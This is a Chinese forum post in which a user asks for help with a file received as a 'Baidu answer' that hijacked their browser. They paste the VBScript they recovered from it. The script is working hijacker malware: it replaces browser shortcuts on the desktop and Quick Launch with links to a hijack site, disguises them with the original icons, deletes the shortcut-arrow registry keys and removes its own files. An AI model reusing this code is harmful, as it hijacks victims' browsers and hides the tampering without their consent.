在百度问问题，别人给我发了这个文件说是解答。压缩包打开是exe文件，我打开后就劫持了我的IE，后来重命名txt文件，打开后在乱码中发现一些信息，现在只知道打开它会打开我电脑上的记事本和调用C盘Temp/pag4.vbs 其他信息不明，avast也没报，但不知道这个文件到底什么问题…………传上来你们看看。如何能解决啊？
附上我在记事本里看到的代码：
“notepad.exe c:\WINDOWS\Temp\pag4.vbs c:\WINDOWS\Temp\pag5.vbs c:\WINDOWS\Temp\ialxoktb.vbs c:\WINDOWS\Temp\ialxokta.vbs C:\WINDOWS\Temp C:\WINDOWS C:\Program Files\Internet Explorer open vbs %s\ialxokta.vbs %s\ialxoktb.vbs %s\pag5.vbs %s\pag4.vbs ”
“strFolderPath="C:\Documents and Settings\All Users\桌面"
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
Dim m
m=OperationRegistry.RegRead("HKEY_CLASSES_ROOT\http\shell\open\command\")
n = Split(m, """")
h = n(1)
x=""""
y=""""
a= x+h+y
strToReplace= a
strReplace= a
Set wshShell = CreateObject("Shell.Application")
Set wshFSO = CreateObject("Scripting.FileSystemObject")
AlterSubFolders wshFSO.GetFolder(strFolderPath)
Sub AlterSubFolders(Folder)
Set npFolder = wshShell.Namespace (Folder.Path)
Set allFiles=Folder.Files
For Each lnkFile In allFiles
If InStrRev(UCase(lnkFile.Name), ".LNK") <> 0 Then
Set lnkItem = npFolder.ParseName(lnkFile.Name)
Set lnkItemLink = lnkItem.GetLink
b = """"&lnkItemLink.Path&""""
If InStr(1, LCase(b), LCase("iexplore.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("Safari.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("Maxthon.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("SogouExplorer.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("TheWorld.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("TTraveler.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("360SE.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("chrome.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("GreenBrowser.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("opera.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("firefox"), 1) Then
eee = strFolderPath+"\"+lnkFile.Name
rr = "c:\"+lnkFile.Name
c = lnkItemLink.Path
set WhShell = WScript.CreateObject("WScript.Shell")
set oShellLink = WhShell.CreateShortcut(rr)
oShellLink.TargetPath = "http://www.9813.org/?tn=801"
oShellLink.IconLocation = c
oShellLink.Save
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile eee
objFSO.MoveFile rr, "C:\Documents and Settings\All Users\桌面\"
else
End If
End If
Next
End Sub
On Error Resume Next
Set Opistry=WScript.CreateObject("WScript.Shell")
Dim strFolderPath
strFolderPath=Opistry.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Desktop")
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
m=OperationRegistry.RegRead("HKEY_CLASSES_ROOT\http\shell\open\command\")
n = Split(m, """")
h = n(1)
x=""""
y=""""
a= x+h+y
strToReplace= a
strReplace= a
Set wshShell = CreateObject("Shell.Application")
Set wshFSO = CreateObject("Scripting.FileSystemObject")
AlterSubFolders wshFSO.GetFolder(strFolderPath)
Sub AlterSubFolders(Folder)
Set npFolder = wshShell.Namespace (Folder.Path)
Set allFiles=Folder.Files
For Each lnkFile In allFiles
If InStrRev(UCase(lnkFile.Name), ".LNK") <> 0 Then
Set lnkItem = npFolder.ParseName(lnkFile.Name)
Set lnkItemLink = lnkItem.GetLink
b = """"&lnkItemLink.Path&""""
If InStr(1, LCase(b), LCase("iexplore.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("Safari.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("Maxthon.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("SogouExplorer.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("TheWorld.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("TTraveler.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("360SE.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("chrome.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("GreenBrowser.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("opera.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("firefox"), 1) Then
eee = strFolderPath+"\"+lnkFile.Name
rr = "c:\"+lnkFile.Name
c = lnkItemLink.Path
set WhShell = WScript.CreateObject("WScript.Shell")
set oShellLink = WhShell.CreateShortcut(rr)
oShellLink.TargetPath = "http://www.9813.org/?tn=801"
oShellLink.IconLocation = c
oShellLink.Save
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile eee
objFSO.MoveFile rr, "C:\Documents and Settings\All Users\桌面\"
else
End If
End If
Next
End Sub
On Error Resume Next
Dim HiddenArrowIcon
Set HiddenArrowIcon=WScript.CreateObject("WScript.Shell")
Dim RegPath1,RegPath2
RegPath1="HKCR\lnkfile\IsShortCut"
RegPath2="HKCR\piffile\IsShortCut"
HiddenArrowIcon.RegDelete(RegPath1)
HiddenArrowIcon.RegDelete(RegPath2)
HiddenArrowIcon.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
On Error Resume Next
wscript.sleep 3000
dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "c:\\WINDOWS\\Temp\\ialxokta.vbs" ,true
fso.DeleteFile "c:\\WINDOWS\\Temp\\ialxoktb.vbs" ,true
fso.DeleteFile "c:\\WINDOWS\\Temp\\ialxoktc.vbs" ,true
fso.DeleteFile "c:\\WINDOWS\\Temp\\pag5.vbs" ,true
fso.DeleteFile "c:\\WINDOWS\\Temp\\pag4.vbs" ,true
Set FSO=NoThing
WScript.quit
On Error Resume Next
Set eShell = WScript.CreateObject("WScript.Shell")
strFolderPath=eShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch\"
'Wscript.Echo strFolderPath
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
Dim m
m=OperationRegistry.RegRead("HKEY_CLASSES_ROOT\http\shell\open\command\")
n = Split(m, """")
h = n(1)
x=""""
y=""""
a= x+h+y
strToReplace= a
strReplace= a
Set wshShell = CreateObject("Shell.Application")
Set wshFSO = CreateObject("Scripting.FileSystemObject")
AlterSubFolders wshFSO.GetFolder(strFolderPath)
Sub AlterSubFolders(Folder)
Set npFolder = wshShell.Namespace (Folder.Path)
Set allFiles=Folder.Files
For Each lnkFile In allFiles
If InStrRev(UCase(lnkFile.Name), ".LNK") <> 0 Then
Set lnkItem = npFolder.ParseName(lnkFile.Name)
Set lnkItemLink = lnkItem.GetLink
b = """"&lnkItemLink.Path&""""
If InStr(1, LCase(b), LCase("iexplore.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("Safari.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("Maxthon.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("SogouExplorer.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("TheWorld.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("TTraveler.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("360SE.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("chrome.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("GreenBrowser.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("opera.exe"), 1) > 0 Or InStr(1, LCase(b), LCase("firefox"), 1) Then
eee = strFolderPath+"\"+lnkFile.Name
rr = "c:\Program Files\"+lnkFile.Name
c = lnkItemLink.Path
set WhShell = WScript.CreateObject("WScript.Shell")
set oShellLink = WhShell.CreateShortcut(rr)
oShellLink.TargetPath = "http://www.9813.org/?tn=801"
oShellLink.IconLocation = c
oShellLink.Save
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile eee
objFSO.MoveFile rr, strFolderPath
else
End If
End If
Next
End Sub”
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)
